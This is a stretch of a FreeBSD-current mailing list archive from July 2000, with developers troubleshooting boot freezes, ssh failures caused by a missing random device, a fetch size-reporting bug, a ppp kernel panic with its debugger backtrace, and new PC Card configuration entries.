18:51:07 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id SAA54521; Tue, 11 Jul 2000 18:51:07 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Tue, 11 Jul 2000 18:51:07 -0700 (PDT) Message-Id: <200007120151.SAA54521@vashon.polstra.com> To: patrick@whetstonelogic.com Subject: Re: Burned by config changes? In-Reply-To: <396BC9CC.4354651D@whetstonelogic.com> References: <396BC9CC.4354651D@whetstonelogic.com> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <396BC9CC.4354651D@whetstonelogic.com>, Patrick Gardella wrote: > I've somehow been burned by the config changes when I build world > yesterday. The build went fine, and then I followed the instructions > on: http://people.freebsd.org/~imp/config-upd.html > > But when I rebooted, it freezes right when I type "boot". Typing "boot > -v" does not reveal anything more. One thing that can get you is if you have customized "/boot/loader.rc" in the past. The make install for the bootloader won't replace this file if one is already present. I had a very old one I had hacked up, and it didn't do the same things as the standard version. I saw the same symptoms you're describing. I deleted my old loader.rc, reinstalled the bootloader, and then everything worked. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 23:41:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 70A7B37BA01 for ; Tue, 11 Jul 2000 23:41:46 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id IAA96357; Wed, 12 Jul 2000 08:42:41 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200007120642.IAA96357@grimreaper.grondar.za> To: "Jeroen C. van Gelderen" Cc: freebsd-current@FreeBSD.ORG Subject: Re: ssh not working after upgrading OS? References: <396BC2D5.FACADF08@vangelderen.org> In-Reply-To: <396BC2D5.FACADF08@vangelderen.org> ; from "Jeroen C. van Gelderen" "Tue, 11 Jul 2000 20:59:01 -0400." Date: Wed, 12 Jul 2000 08:42:41 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > You are probably using a -CURRENT with a broken randomness > device. For more information you can try and search the > mailing list archives. No - he has _no_ randomness device. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 0:31:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [210.226.20.160]) by hub.freebsd.org (Postfix) with ESMTP id B3E2E37BC7E; Wed, 12 Jul 2000 00:31:06 -0700 (PDT) (envelope-from kuriyama@FreeBSD.org) Received: from waterblue.imgsrc.co.jp (localhost [127.0.0.1]) by waterblue.imgsrc.co.jp (8.11.0.Beta3/8.11.0.Beta1) with ESMTP id e6C7V3G38102; Wed, 12 Jul 2000 16:31:04 +0900 (JST) Date: Wed, 12 Jul 2000 16:31:03 +0900 Message-ID: <7md7kjst3c.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: des@FreeBSD.org Cc: Current Subject: fetch http://cgi returns -1 size User-Agent: Wanderlust/1.1.1 (Purple Rain) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 10) (Capitol Reef) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My current box (make world'ed this morning) fails on fetch(1) for some CGI scripts. % fetch -v -v http://www.FreeBSD.org/cgi/search.cgi/ looking up www.FreeBSD.org connecting to www.FreeBSD.org:80 requesting http://www.FreeBSD.org:80/cgi/search.cgi/ looking up www.FreeBSD.org connecting to www.FreeBSD.org:80 requesting http://www.FreeBSD.org:80/cgi/search.cgi/ Receiving fetch.out -1 bytes transferred in 0.0 seconds (-129.18 Bps) % fetch -v -v http://www.jp.FreeBSD.org/cgi/cvsweb.cgi/ looking up www.jp.FreeBSD.org connecting to www.jp.FreeBSD.org:80 requesting http://www.jp.FreeBSD.org:80/cgi/cvsweb.cgi/ looking up www.jp.FreeBSD.org connecting to www.jp.FreeBSD.org:80 requesting http://www.jp.FreeBSD.org:80/cgi/cvsweb.cgi/ Receiving fetch.out -1 bytes transferred in 0.3 seconds (-3.94 Bps) -- Jun Kuriyama // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 1:50: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 8E5B337B819; Wed, 12 Jul 2000 01:49:56 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id KAA84435; Wed, 12 Jul 2000 10:49:54 +0200 (CEST) (envelope-from des@flood.ping.uio.no) To: Jun Kuriyama Cc: Current Subject: Re: fetch http://cgi returns -1 size References: <7md7kjst3c.wl@waterblue.imgsrc.co.jp> From: Dag-Erling Smorgrav Date: 12 Jul 2000 10:49:54 +0200 In-Reply-To: Jun Kuriyama's message of "Wed, 12 Jul 2000 16:31:03 +0900" Message-ID: Lines: 10 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jun Kuriyama writes: > My current box (make world'ed this morning) fails on fetch(1) for some > CGI scripts. The bug is only in the status report, check the acutal size of fetch.out. I fixed this in a commit half an hour ago. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 4:38:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 9BDAB37B945 for ; Wed, 12 Jul 2000 04:38:11 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p05-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.134]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id UAA03522; Wed, 12 Jul 2000 20:36:52 +0900 (JST) Message-ID: <396C5871.FEC9E0A9@newsguy.com> Date: Wed, 12 Jul 2000 20:37:21 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: clefevre@citeweb.net Cc: Mike Meyer , freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: <14695.51428.314772.426883@guru.mired.org> <14697.31325.422020.803101@guru.mired.org> <3969D84A.D23A84B6@newsguy.com> <3dlhpybs.fsf@pc166.gits.fr> <396ACCF7.B8A49A5@newsguy.com> <4s5xrmpi.fsf@pc166.gits.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Cyrille Lefevre wrote: > > > Non-centralized configuration is frowned upon. Having to find which file > > has something, or having to read through multiple files to understand > > how the system is configured is a disadvantage wrt to the present > > system. > > not so difficult if a command do that for you. (show, change, start and stop) Commands limit you in awkward ways. Hell, AIX has commands to do anything with the configuration you might want, but that has not prevented people from hating it... :-) -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org _DES: The Book of Bruce has only one sentence in it, and it says "the actual directives of my cult are left as an exercise for the reader. Good luck." jkh: does it really include the 'good luck' part? EE: OK, I made that part up. EE: I figured it should sound a bit more cheery than how Bruce initially dictated it to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 7:23: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id 613DA37BB7A; Wed, 12 Jul 2000 07:22:56 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id PAA11870; Wed, 12 Jul 2000 15:05:25 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200007121405.PAA11870@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: current@FreeBSD.org Cc: Brian Somers , John Polstra , Mark Murray , Warner Losh Subject: **HEADS UP** if you used to cvsup the crypto repo from internat ! Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 12 Jul 2000 15:05:25 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I haven't looked into it too deeply yet because of other source tree problems, but if you used to get your crypto ,v files from internat, you will suffer some funny problems unless you nuke the old checked-out files. My apologies if this is old news, but I see nothing in UPDATING. The problem occurs when you cvsup the new crypto-in-src-all sources and replace RCS files with different contents and the same version number. cvs update/checkout compares the repo version number against the checked out version number and considers the file an ``M'' (modified source). The file isn't updated and your world gets corrupted. This is probably a candidate for UPDATING. -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 7:23: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id 5DEC537BD6C for ; Wed, 12 Jul 2000 07:22:53 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id OAA11795; Wed, 12 Jul 2000 14:50:45 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200007121350.OAA11795@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Udo Erdelhoff Cc: freebsd-current@FreeBSD.org, brian@storm.FreeBSD.org.uk Subject: Re: ppp-related panic in sbdrop() In-Reply-To: Message from Udo Erdelhoff of "Tue, 11 Jul 2000 17:34:30 +0200." <20000711173429.A247@nathan.ruhr.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 Content-Transfer-Encoding: quoted-printable Date: Wed, 12 Jul 2000 14:50:45 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'd like to disclaim all responsibility :-I I'd normally try to figure out what the problem is or ask for more = info, but seen as ppp caused a kernel panic on me this morning on the = train, and since then cvsup has caused a similar panic, htc panics = and just about anything else interesting I do panics, I tend to = suspect it's nothing to do with (user-land) ppp.... I'm trying to rebuild my machine by cvs update -D'ing to before the = snapshot code commit at the moment.... > Hi, > I've finally managed to capture a crashdump after a panic in sbdrop(). = The > machine in question uses ppp/ipfw/natd to connect a small LAN to the > outside world via a DSL link. ppp started to misbehave: NS queries were= > sent out but didn't come back (I had tcpdumps running on both tun0 and > ed1). I tried to terminate ppp by sending a SIGTERM. ppp (pid 78) was > still around after a minute, so I send a SIGTERM. The machine crashed > immediately. > = > The machine world as of 7/7, I've only added the latest type fix to > ppp/bundle.c (rev 1.99). > = > The point of doom: > = > bash# gdb -k /sys/compile/UE/kernel.debug /var/crash/vmcore.0 = > GNU gdb 4.18 > Copyright 1998 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and yo= u are > welcome to change it and/or distribute copies of it under certain condi= tions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for deta= ils. > This GDB was configured as "i386-unknown-freebsd"... > IdlePTD 3952640 > initial pcb at 325320 > panicstr: sbdrop > panic messages: > --- > panic: sbdrop > = > syncing disks... = > done > Uptime: 1h4m5s > = > dumping to dev #da/0x20001, offset 190228 > dump 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 = 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 1= 8 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 = > --- > #0 boot (howto=3D256) at ../../kern/kern_shutdown.c:303 > 303 dumppcb.pcb_cr3 =3D rcr3(); > (kgdb) wwhheerree > #0 boot (howto=3D256) at ../../kern/kern_shutdown.c:303 > #1 0xc01717f4 in poweroff_wait (junk=3D0xc02b3a26, howto=3D-946356848)= > at ../../kern/kern_shutdown.c:553 > #2 0xc01931c8 in sbdrop (sb=3D0xc797bd90, len=3D158) > at ../../kern/uipc_socket2.c:793 > #3 0xc0193058 in sbflush (sb=3D0xc797bd90) at ../../kern/uipc_socket2.= c:772 > #4 0xc0192b11 in sbrelease (sb=3D0xc797bd90, so=3D0xc6d59b40) > at ../../kern/uipc_socket2.c:455 > #5 0xc0191443 in sorflush (so=3D0xc6d59b40) at ../../kern/uipc_socket.= c:988 > #6 0xc01900ad in sofree (so=3D0xc6d59b40) at ../../kern/uipc_socket.c:= 262 > #7 0xc01901de in soclose (so=3D0xc6d59b40) at ../../kern/uipc_socket.c= :327 > #8 0xc018553a in soo_close (fp=3D0xc0f8fe40, p=3D0xc74b32a0) > at ../../kern/sys_socket.c:193 > #9 0xc0166165 in fdrop (fp=3D0xc0f8fe40, p=3D0xc74b32a0) at ../../sys/= file.h:212 > #10 0xc01660ab in closef (fp=3D0xc0f8fe40, p=3D0xc74b32a0) > at ../../kern/kern_descrip.c:1079 > #11 0xc0165dfc in fdfree (p=3D0xc74b32a0) at ../../kern/kern_descrip.c:= 945 > #12 0xc016854d in exit1 (p=3D0xc74b32a0, rv=3D9) at ../../kern/kern_exi= t.c:186 > #13 0xc01732d2 in sigexit (p=3D0xc74b32a0, sig=3D9) at ../../kern/kern_= sig.c:1499 > #14 0xc017304c in postsig (sig=3D9) at ../../kern/kern_sig.c:1402 > #15 0xc028e6f0 in syscall2 (frame=3D{tf_fs =3D 47, tf_es =3D 47, tf_ds = =3D 47, = > tf_edi =3D -1077940036, tf_esi =3D 134920284, tf_ebp =3D -1077940= 004, = > tf_isp =3D -946356268, tf_ebx =3D 672838652, tf_edx =3D 134909952= , = > tf_ecx =3D 2048, tf_eax =3D 29, tf_trapno =3D 7, tf_err =3D 2, = > tf_eip =3D 673074366, tf_cs =3D 31, tf_eflags =3D 647, tf_esp =3D= -1077940096, = > tf_ss =3D 47}) at ../../i386/i386/trap.c:164 > #16 0xc02838f5 in Xint0x80_syscall () > #17 0x80781c6 in ?? () > #18 0x806eaa9 in ?? () > #19 0x806e1fb in ?? () > #20 0x8078778 in ?? () > #21 0x805996f in ?? () > #22 0x804ccd8 in ?? () > #23 0x806a776 in ?? () > #24 0x806a35f in ?? () > #25 0x804b0a1 in ?? () > (kgdb) frame 2 > #2 0xc01931c8 in sbdrop (sb=3D0xc797bd90, len=3D158) > at ../../kern/uipc_socket2.c:793 > 793 panic("sbdrop"); > (kgdb) print sb > $1 =3D (struct sockbuf *) 0xc797bd90 > (kgdb) print *sb > $2 =3D {sb_cc =3D 158, sb_hiwat =3D 20480, sb_mbcnt =3D 512, sb_mbmax =3D= 163840, = > sb_lowat =3D 1, sb_mb =3D 0x0, sb_sel =3D {si_pid =3D 0, si_note =3D = { > slh_first =3D 0x0}, si_flags =3D 0}, sb_flags =3D 64, sb_timeo =3D= 0} > (kgdb) print len > $3 =3D 158 > (kgdb) print m > $4 =3D (struct mbuf *) 0xc02b3a26 > (kgdb) print *m > $5 =3D {m_hdr =3D {mh_next =3D 0x72646273, mh_nextpkt =3D 0x4e00706f, = > mh_data =3D 0x63706900
, = > mh_len =3D -1377828864, mh_type =3D -16336, mh_flags =3D 73}, M_dat= =3D {MH =3D { > MH_pkthdr =3D {rcvif =3D 0x6d6d7564, len =3D -1373634439, = > header =3D 0x616dc030
, = > csum_flags =3D 1668248440, csum_data =3D 1718968939, aux =3D 0x= ae600000}, = > MH_dat =3D {MH_ext =3D { > ext_buf =3D 0x616dc030
, = > ext_free =3D 0x636f7378, ext_size =3D 1937007979, ext_ref =3D= 0xaea00000}, = > MH_databuf =3D "0=C0maxsockets\000\000=A0=AE0=C0sockbuf_waste_f= actor\000\000\000\000=E0=AE0=C0kern.ipc.maxsockets\000\004=AF0=C0\000\000= \000\000\000\000\000\000\024=AF0=C0accept\000connec\000sfbufa\000\000\000= \000\000\000\000\000sf_buf_ref: referencing a free sf_buf", '\000' , "sf_buf_free: freeing free sf_buf\000sfpbs"}}, = > M_databuf =3D "dummy\000 =AE0=C0maxsockbuf\000\000`=AE0=C0maxsocket= s\000\000=A0=AE0=C0sockbuf_waste_factor\000\000\000\000=E0=AE0=C0kern.ipc= =2Emaxsockets\000\004=AF0=C0\000\000\000\000\000\000\000\000\024=AF0=C0ac= cept\000connec\000sfbufa\000\000\000\000\000\000\000\000sf_buf_ref: refer= encing a free sf_buf", '\000' , "sf_buf_free: freein"..= =2E}} > (kgdb) print mn > $6 =3D (struct mbuf *) 0xc02b3a26 > (kgdb) print *mn > $7 =3D {m_hdr =3D {mh_next =3D 0x72646273, mh_nextpkt =3D 0x4e00706f, = > mh_data =3D 0x63706900
, = > mh_len =3D -1377828864, mh_type =3D -16336, mh_flags =3D 73}, M_dat= =3D {MH =3D { > MH_pkthdr =3D {rcvif =3D 0x6d6d7564, len =3D -1373634439, = > header =3D 0x616dc030
, = > csum_flags =3D 1668248440, csum_data =3D 1718968939, aux =3D 0x= ae600000}, = > MH_dat =3D {MH_ext =3D { > ext_buf =3D 0x616dc030
, = > ext_free =3D 0x636f7378, ext_size =3D 1937007979, ext_ref =3D= 0xaea00000}, = > MH_databuf =3D "0=C0maxsockets\000\000=A0=AE0=C0sockbuf_waste_f= actor\000\000\000\000=E0=AE0=C0kern.ipc.maxsockets\000\004=AF0=C0\000\000= \000\000\000\000\000\000\024=AF0=C0accept\000connec\000sfbufa\000\000\000= \000\000\000\000\000sf_buf_ref: referencing a free sf_buf", '\000' , "sf_buf_free: freeing free sf_buf\000sfpbs"}}, = > M_databuf =3D "dummy\000 =AE0=C0maxsockbuf\000\000`=AE0=C0maxsocket= s\000\000=A0=AE0=C0sockbuf_waste_factor\000\000\000\000=E0=AE0=C0kern.ipc= =2Emaxsockets\000\004=AF0=C0\000\000\000\000\000\000\000\000\024=AF0=C0ac= cept\000connec\000sfbufa\000\000\000\000\000\000\000\000sf_buf_ref: refer= encing a free sf_buf", '\000' , "sf_buf_free: freein"..= =2E}} > (kgdb) print next > $8 =3D (struct mbuf *) 0x0 > = > The "adress out of bounds" messages looks strange. > = > I'll try to reproduce the bug after updating kernel, sources and world.= > I have stored the kernel, modules (build with kernel, only ng_ether use= d) > and the dump on tape so I should be able to produce additional details = if > needed. > = > /s/Udo > PS: One strange thing about dumping: savecore never found a dump during= > "normal" startup. After this crash, I booted single-user, fsck'ed and > mount'ed my filesystems, set the dump device, called savecore and voila= , > one crashdump stored in /var/crash. The machine has 64 MBytes of RAM > and 156 MByte swap (da0s1b). > = > -- = > Getting a SCSI chain working is perfectly simple if you remember that t= here > must be exactly three terminations: one on one end of the cable, one on= the > far end, and the goat, terminated over the SCSI chain with a silver-han= dled > knife whilst burning *black* candles. -- = Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 7:23:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id 2DF4B37BE9C for ; Wed, 12 Jul 2000 07:23:40 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id OAA00877; Wed, 12 Jul 2000 14:20:03 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200007121320.OAA00877@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Daniel Rock Cc: Udo Erdelhoff , current@FreeBSD.org, brian@storm.FreeBSD.org.uk Subject: Re: ppp -auto gone again In-Reply-To: Message from Daniel Rock of "Sun, 09 Jul 2000 18:04:47 +0200." <3968A29F.F60F1D25@dead-end.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 12 Jul 2000 14:20:03 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Udo Erdelhoff schrieb: > > > > Hi, > > ppp -auto stopped working fater I've updated my box from 06/17-Sources > > to yesterday's version (07/06, approx. 1500 GMT). tcpdump -ni tun0 > > shows the traffic but that's it. ppp.log doesn't show any obvious > > problems. -ddial works, sending a manual dial command (via pppctl) > > brings the link up immediately. > > > > IPv6-related breakage again (this is an IPv4-only system) or something > > new? > Found it. > > Index: bundle.c > =================================================================== > RCS file: /data/cvs/src/usr.sbin/ppp/bundle.c,v > retrieving revision 1.98 > diff -u -r1.98 bundle.c > --- bundle.c 2000/07/07 14:22:07 1.98 > +++ bundle.c 2000/07/09 15:56:52 > @@ -592,7 +592,7 @@ > * *not* be UP and we can't receive data > */ > pri = PacketCheck(bundle, tun.data, n, &bundle->filter.dial, NULL); > - if (pri > 0) > + if (pri >= 0) > bundle_Open(bundle, NULL, PHYS_AUTO, 0); > else > /* > > Sorry... my mistake :-( -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 8:12:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (markm.ops.uunet.co.za [196.31.2.167]) by hub.freebsd.org (Postfix) with ESMTP id AC58637BCA9 for ; Wed, 12 Jul 2000 08:12:48 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id RAA00671; Wed, 12 Jul 2000 17:13:46 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200007121513.RAA00671@grimreaper.grondar.za> To: Brian Somers Cc: current@FreeBSD.org Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! References: <200007121405.PAA11870@hak.lan.Awfulhak.org> In-Reply-To: <200007121405.PAA11870@hak.lan.Awfulhak.org> ; from Brian Somers "Wed, 12 Jul 2000 15:05:25 +0100." Date: Wed, 12 Jul 2000 17:13:46 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > My apologies if this is old news, but I see nothing in UPDATING. I sent it to ctm-announce... M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 8:56:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from samxie.cl.msu.edu (samxie.cl.msu.edu [35.8.1.33]) by hub.freebsd.org (Postfix) with ESMTP id 17EB537BED6 for ; Wed, 12 Jul 2000 08:56:24 -0700 (PDT) (envelope-from sam@samxie.cl.msu.edu) Received: (from sam@localhost) by samxie.cl.msu.edu (8.9.3/8.9.3) id LAA00970; Wed, 12 Jul 2000 11:57:05 -0400 (EDT) (envelope-from sam) Date: Wed, 12 Jul 2000 11:57:05 -0400 From: Sam Xie To: Mark Murray , freebsd-current@freebsd.org Subject: Re: ssh not working after upgrading OS? Message-ID: <20000712115705.A424@samxie.cl.msu.edu> Mail-Followup-To: Sam Xie , Mark Murray , freebsd-current@freebsd.org References: <20000711182755.A19813@samxie.cl.msu.edu> <200007120641.IAA96328@grimreaper.grondar.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200007120641.IAA96328@grimreaper.grondar.za>; from mark@grondar.za on Wed, Jul 12, 2000 at 08:41:05AM +0200 X-Operating-System: FreeBSD 5.0-CURRENT i386 WWW-Home-Page: http://samxie.cl.msu.edu Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > /dev/random now has good entropy collection (from the keyboard and > sysmouse drivers). Please ensure that either `options RANDOMDEV' is > present in your kernel config file or that `randomdev_load="YES"' > is in your /boot/loader.conf. If you do not have the /dev/random > driver, OpenSSL (and consequently lots of crypto tools (like SSH)) > will fail with strange errors. > > > Thanks! > -- > Mark Murray It works! Thanks for your help! sam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 9:12:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from bugg.strangled.net (c705742-a.htfdw1.ct.home.com [24.2.137.94]) by hub.freebsd.org (Postfix) with ESMTP id 6E8B637C045 for ; Wed, 12 Jul 2000 09:12:35 -0700 (PDT) (envelope-from bugg@bugg.strangled.net) Received: (from bugg@localhost) by bugg.strangled.net (8.9.3/8.9.3) id MAA43906; Wed, 12 Jul 2000 12:12:19 -0400 (EDT) (envelope-from bugg) Date: Wed, 12 Jul 2000 12:12:18 -0400 From: Dan Papasian To: Patrick Gardella Cc: freebsd-current@FreeBSD.ORG Subject: Re: Burned by config changes? Message-ID: <20000712121218.A43879@moe.c705742-a.htfdw1.ct.home.com> References: <396BC9CC.4354651D@whetstonelogic.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <396BC9CC.4354651D@whetstonelogic.com>; from patrick@whetstonelogic.com on Tue, Jul 11, 2000 at 09:28:44PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What optimizations did you use when compiling your kernel? (COPTFLAGS) If it's anything more than -O -pipe, then that may very well be your problem. -Dan On Tue, Jul 11, 2000 at 09:28:44PM -0400, Patrick Gardella wrote: > I've somehow been burned by the config changes when I build world > yesterday. The build went fine, and then I followed the instructions > on: http://people.freebsd.org/~imp/config-upd.html > > But when I rebooted, it freezes right when I type "boot". Typing "boot > -v" does not reveal anything more. > > I've gone in with an old kernel which lets me boot, and tried building a > new GENERIC one, with no luck. It freezes at the same place. > > I have in place my /boot/device.hints, and it looks right. > > Any pointers to get the system back up and running? (I do have a > backup, but I'd rather learn how to fix this!) > > Patrick Gardella > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jul 12 9:23:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from tasogare.imasy.or.jp (tasogare.imasy.or.jp [202.227.24.5]) by hub.freebsd.org (Postfix) with ESMTP id 3476A37C218; Wed, 12 Jul 2000 09:23:41 -0700 (PDT) (envelope-from iwasaki@jp.FreeBSD.org) Received: from localhost (iwasaki.imasy.or.jp [202.227.24.92]) by tasogare.imasy.or.jp (8.10.1+3.3W/3.7W-tasogare/smtpfeed 1.07) with ESMTP id e6CGNYp35535; Thu, 13 Jul 2000 01:23:34 +0900 (JST) (envelope-from iwasaki@jp.FreeBSD.org) To: current@FreeBSD.ORG, mobile@FreeBSD.ORG Subject: CFR: pccard.conf entries from PAO (130 entries!) X-Mailer: Mew version 1.94.1 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000713012332Y.iwasaki@jp.FreeBSD.org> Date: Thu, 13 Jul 2000 01:23:32 +0900 From: Mitsuru IWASAKI X-Dispatcher: imput version 20000228(IM140) Lines: 49 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, We, PAO folks in Japan, have prepared the patch for etc/defaults/pccard.conf CURRENT (rev. 1.121) merging more that one hundred of PCCard entries from PAO3. We'd be happy if we could use various cards on the installation. http://people.freebsd.org/~iwasaki/pccard/pccard.conf-MFPAO We'd like you to test them and see if there are any problems on the patch. Of course, You could test on STABLE system bringing etc/defaults/pccard.conf from CURRENT and replace with it. Because of too many entries to be added, please report your problems only to iwasaki@jp.FreeBSD.org and sanpei@sanpei.org. - We are not sure that the card would be supported which has cardio line and just replaced with iosize line or other reasons. Those are marked as # XXX NOT SURE SUPPORTED and disabled. If you have this kind of cards, please enable the entry and test it. IBM Portable 4X Speed CD-ROM Drive CD-400 IBM CD-20XSeries(IDE PC Card) CitiDISK & Addonics PocketZIP SONY Memory Stick PC Card Adaptor Xircom CompactCard Ethernet 10 (CFE-10) TDK Multifunctioon Card (as Modem) Toshiba Modem/LAN card IPC5001B Toshiba 10/100 Ethernet PC Card IPC5008A - We are sure that some kind of cards 